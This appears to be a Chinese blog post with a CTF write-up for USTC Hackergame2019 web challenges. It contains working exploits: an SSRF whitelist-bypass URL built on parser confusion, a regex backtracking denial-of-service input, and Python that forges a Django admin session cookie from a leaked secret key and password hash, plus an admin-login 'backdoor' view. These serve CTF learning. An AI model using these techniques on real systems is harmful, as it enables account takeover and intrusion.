前几天跟着几个大佬一起看了看中科大的Hackergame2019,这个比赛主要针对的是新手,激发新生对CTF比赛的兴趣,虽然我已经大三了,但实在是因为我过于five,也只能帮大佬打打杂,这里把自己做的题还是写一下wp,记录一下。

0x01 签到题

其实前面3个都是签到题,没意思,就不写了~~~

0x02 网页读取器

一个简单的SSRF

后台代码写了个白名单,可以绕过,下载下来的源代码如下,check_hostname为过滤函数

from flask import Flask, render_template, request, send_from_directory
import requests  # well, requests is designed for humans, and I like it.


app = Flask(__name__)
whitelist_hostname = ["example.com",
                    "www.example.com"]
whitelist_scheme = ["http://"]

def check_hostname(url):
   for i in whitelist_scheme:
       if url.startswith(i):   #输入的url必须以http:// 开头
           url = url[len(i):]  # 返回http://后面的字符串
           url = url[url.find("@") + 1:]  # 返回@后面的字符
           if not url.find("/") == -1:
               url = url[:url.find("/")]  # 返回/前的字符
           if not url.find(":") == -1:
               url = url[:url.find(":")]  # 返回:前的字符
           if url not in whitelist_hostname:
               return (False, "hostname {} not in whitelist".format(url))
           return (True, "ok")
   return (False, "scheme not in whitelist, only {} allowed".format(whitelist_scheme))

@app.route("/")
def index():
   return render_template("index.html")


@app.route("/request")
def req_route():
   url = request.args.get('url')
   status, msg = check_hostname(url)
   if status is False:
       # print(msg)
       return msg
   try:
       r = requests.get(url, timeout=2)
       if not r.status_code == 200:
           return "We tried accessing your url, but it does not return HTTP 200. Instead, it returns {}.".format(r.status_code)
       return r.text
   except requests.Timeout:
       return "We tried our best, but it just timeout."
   except requests.RequestException:
       return "While accessing your url, an exception occurred. There may be a problem with your url."


@app.route("/source")
def get_source():
   return send_from_directory("/static/", "app.py", as_attachment=True)


if __name__ == '__main__':
   app.run("0.0.0.0", 8000, debug=False)

我构造的payload为 url=http://web1/flag?@example.com:80

0x03 达拉崩吧大冒险

这道题主要是在买鸡那里,存在整数溢出,我的做法是,F12修改一个value值,当值小于 等于-1900000000000000000 时,就会发生整数溢出,战斗力变成一个很大的值,就可以愉快的打龙,得到flag

0x04 正则验证器

这道题的要求是,在有限的长度(6)内构造一个正则表达式,要求匹配一个长度为24以内的字符串,十匹配的时间大于一秒,这里是考点主要是正则回溯

构造如下,就能得到flag

Regex: (a*)*S
String: aaaaaaaaaaaaaaaaaaaaaaab

这是题目的源码

#!/usr/bin/env python3
import signal
import re

def flag(*args, **kwargs):
   print(open("flag").read())
   exit()


def main():
   print("Welcome to the free online Regular Expression Verifier")
   print("Please enter your RegEx and string and I will match them for you\n")

   r = input("RegEx: ")
   if len(r) > 6:
       print("Sorry your regex is too long.")
       exit()
   s = input("String: ")
   if len(s) > 24:
       print("Sorry your string is too long.")
       exit()

   r = re.compile(r)
   signal.signal(signal.SIGALRM, flag)
   signal.alarm(1)
   m = r.search(s)
   signal.alarm(0)
   if m:
       print("Your regex matches the string!")
   else:
       print("Your regex doesn't match the string!")


if __name__ == "__main__":
   signal.alarm(30)
   main()

0x05 三教奇妙夜

下载下来的附件解压后是一个视频,时间长达11:58:24,提示也很明显的说了是插了帧在里面,用ffmepg每秒存了24张图,跑下来一共有107W多张,傻乎乎的写了图像识别的代码,然而我的代码太垃圾,效率还不如直接肉眼预览,于是就傻呼呼的看了快20W张,然后才发现其实直接把图片按大小排序,最小的几张就是,拼起来就是,后面又听见大佬们说,ffmepg可以直接分析不同的帧,卑微.jpg

直接识别的命令如下

ffmpeg -i input.mp4 -vf "select=gt(scene\,0.3), scale=320:240" -vsync vfr flag_frame%03d.png

0x06被泄露的姜戈

根据提示,在 https://github.com/openlug/django-common 或者 https://gitlab.com/openlug/django-common 找到源代码。用 openlug 和 Rabbit House 都是能搜到结果的。

简单的解法

需要简单学习 Django,并添加一个可以让你登录为 admin 的路由。

app/views.py 添加:

from django.contrib.auth.models import User
def backdoor(request):
  user = User.objects.get(username="admin") # 使用 Django ORM 选择 admin 用户
  login(request, user) # 以 admin 的身份登录
  return redirect(reverse("profile")) # 跳转到 profile

然后在 app/urls.py 里的 urlpatterns 里面添加 URL:

path('backdoor', views.backdoor, name='backdoor')

然后开跑:python manage.py runserver

访问我们加入的 backdoor,就可以看到 admin 的 cookie 了。把这个 cookie 复制,在 Console 里面 document.cookie=... 给 cookie 赋值,进入 /profile 就行了。

复杂的解法

这是我最开始出完题之后使用的解法。这种解法需要去看 Django 的源代码,了解其是如何处理 session 的。

首先根据 https://docs.djangoproject.com/en/2.2/topics/http/sessions/#using-cookie-based-sessions ,加上 settings.py 里面的设置,可以看到 session 设置成了签名后存储在 cookie 中。文档同时也给了一个 RCE 警告,但是因为我们没有用 PickleSerializer,所以没有这个漏洞。

从签名还原 session

登录为 guest,可以看到 guest 的 cookie 为

sessionid=.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iLiU1:d4koNGDuy18fbggeMbGhprUL_gs

然后呢?如果直接用 https://docs.djangoproject.com/en/2.2/topics/signing/ 里的方式,用 signing.loads(value) 的话,只能得到一条 Exception。我们要看django.contrib.sessions.backends.signed_cookies的实现。在此类的 load 方法中,可以看到:

return signing.loads(
        self.session_key,
        serializer=self.serializer,
        \# This doesn't handle non-default expiry dates, see #19201
        max_age=settings.SESSION_COOKIE_AGE,
        salt='django.contrib.sessions.backends.signed_cookies',
      )

它加盐了。我们用这个盐重新加载:

value = ".eJx(之后的内容省略)"
signing.loads(value, salt='django.contrib.sessions.backends.signed_cookies')

可以看到 guest session 是:

{'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}

修改 session

我们的目标是让 _auth_user_id 为 1,并且改变后面对应的 _auth_user_hash,使 Django 认为我们的 cookie 是正确的。但后面那个 _auth_user_hash 又是个什么东西?

搜索 auth_user_hash,可以找到 https://docs.djangoproject.com/zh-hans/2.2/modules/django/contrib/auth/ ,其中对应到了 HASH_SESSION_KEY 变量,最终可以找到user.get_session_auth_hash()

这个函数的实现在 django/contrib/auth/base_user.py。

def get_session_auth_hash(self):
  """
  Return an HMAC of the password field.
  """
  key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
  return salted_hmac(key_salt, self.password).hexdigest()

这里的 self.password 不是原始密码,而是数据库中存储的密码哈希。读一下附送的 SQLite 数据库的 auth_user 表就可以了。

最终 exp 如下:

from django.core import signing
from django.utils.crypto import salted_hmac

admin_hash = "pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE="

_auth_user_hash = salted_hmac("django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash",
              admin_hash).hexdigest()

payload = {'_auth_user_id': '1',
    '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
    '_auth_user_hash': _auth_user_hash}

cookie = signing.dumps(payload,
          salt='django.contrib.sessions.backends.signed_cookies',
          compress=True)

print(cookie)

花了好几天,就只做了这几道题(最后一个被泄露的姜戈是赛后看wp复现的),我真的是太菜了,队友警察也做了几个逆向,wp就让他写吧,我就不写了,到时候贴上他的博客链接就好,官方wp的github地址也放在下面了

官方:https://github.com/ustclug/hackergame2019-writeups

Hackergame2019 web的更多相关文章

  1. C# Web应用调试开启外部访问

    在用C#开发Web应用时有个痛点,就是本机用VS开启Web应用调试时外部机器无法访问此Web应用.这里将会介绍如何通过设置允许局域网和外网机器访问本机的Web应用. 目录 1. 设置内网访问 2. 设 ...

  2. 网页提交中文到WEB容器的经历了些什么过程....

    先准备一个网页 <html><meta http-equiv="Content-Type" content="text/html; charset=gb ...

  3. 闲来无聊,研究一下Web服务器 的源程序

    web服务器是如何工作的 1989年的夏天,蒂姆.博纳斯-李开发了世界上第一个web服务器和web客户机.这个浏览器程序是一个简单的电话号码查询软件.最初的web服务器程序就是一个利用浏览器和web服 ...

  4. java: web应用中不经意的内存泄露

    前面有一篇讲解如何在spring mvc web应用中一启动就执行某些逻辑,今天无意发现如果使用不当,很容易引起内存泄露,测试代码如下: 1.定义一个类App package com.cnblogs. ...

  5. 对抗密码破解 —— Web 前端慢 Hash

    (更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...

  6. 使用 Nodejs 搭建简单的Web服务器

    使用Nodejs搭建Web服务器是学习Node.js比较全面的入门教程,因为要完成一个简单的Web服务器,你需要学习Nodejs中几个比较重要的模块,比如:http协议模块.文件系统.url解析模块. ...

  7. 一步步开发自己的博客 .NET版(11、Web.config文件的读取和修改)

    Web.config的读取 对于Web.config的读取大家都很属性了.平时我们用得比较多的就是appSettings节点下配置.如: 我们对应的代码是: = ConfigurationManage ...

  8. Web性能优化:What? Why? How?

    为什么要提升web性能? Web性能黄金准则:只有10%~20%的最终用户响应时间花在了下载html文档上,其余的80%~90%时间花在了下载页面组件上. web性能对于用户体验有及其重要的影响,根据 ...

  9. Web性能优化:图片优化

    程序员都是懒孩子,想直接看自动优化的点:传送门 我自己的Blog:http://cabbit.me/web-image-optimization/ HTTP Archieve有个统计,图片内容已经占到 ...

随机推荐

  1. Java8-Annotations

    import java.lang.annotation.ElementType; import java.lang.annotation.Repeatable; import java.lang.an ...

  2. VMware WorkStations最小化安装&配置&卸载CentOS 7

    所需软件: VMware WorkStations,CentOS 7镜像文件(可以在CentOS官网下载) 1.打开VMware WorkStations,点击创建虚拟机 2.选择典型,点击下一步 3 ...

  3. BZOJ 4807 車 组合数学

    思路:高精度\((what)\) 提交:2次(后来发现有种更快的写法) 题解: 设\(n>m\),那么显然答案为\(C(n,m)\),相当于只能放\(m\)个棋子,可以在\(n\)列中选任意不同 ...

  4. oracle自连接

    自连接:通过表的别名,将同一张表视为多张表 select e.ename 员工姓名,b.ename 老板姓名 from emp e,emp b where e.mgr=b.empno; 注:自连接不适 ...

  5. 数据分析九:互联网征信中的信用评分模型(用户APP使用行为分析)

    用户APP使用行为数据分析: 一. 背景及数据介绍: 1. 移动互联网发展背景: 网民规模7.72亿,手机网民规模7.53亿: 2. APP使用热点: 商务交易类应用规模高速增长(网络购物,网上外卖, ...

  6. 牛客小白月赛11 Rinne Loves Xor

    题目链接:https://ac.nowcoder.com/acm/contest/370/I code: #include<bits/stdc++.h> using namespace s ...

  7. centos 利用iptables来配置linux禁止所有端口登陆和开放指定端口的方法

    1.关闭所有的 INPUT FORWARD OUTPUT 只对某些端口开放. 下面是命令实现: iptables -P INPUT DROPiptables -P FORWARD DROPiptabl ...

  8. java spring boot- freemarker 配置 yml使用流程

    1.pom.xml  加入maven 依赖 <!-- 引入 freemarker 模板依赖 --><dependency> <groupId>org.springf ...

  9. JavaScript Call函数原理

    call原理分析,一定要看最后的例子. 1.call使用例子 function add(c, d) { return this.a + this.b + c + d; } , b: }; consol ...

  10. Raspberry Pi 摄像头模块入门

    目录 一.摄像头模块安装 二.使用命令控制摄像头 三.使用Python程序控制摄像头 四.基于vlc的Raspberry Pi摄像头实时监控 参考资料 Raspberry Pi提供了摄像头模块的接口, ...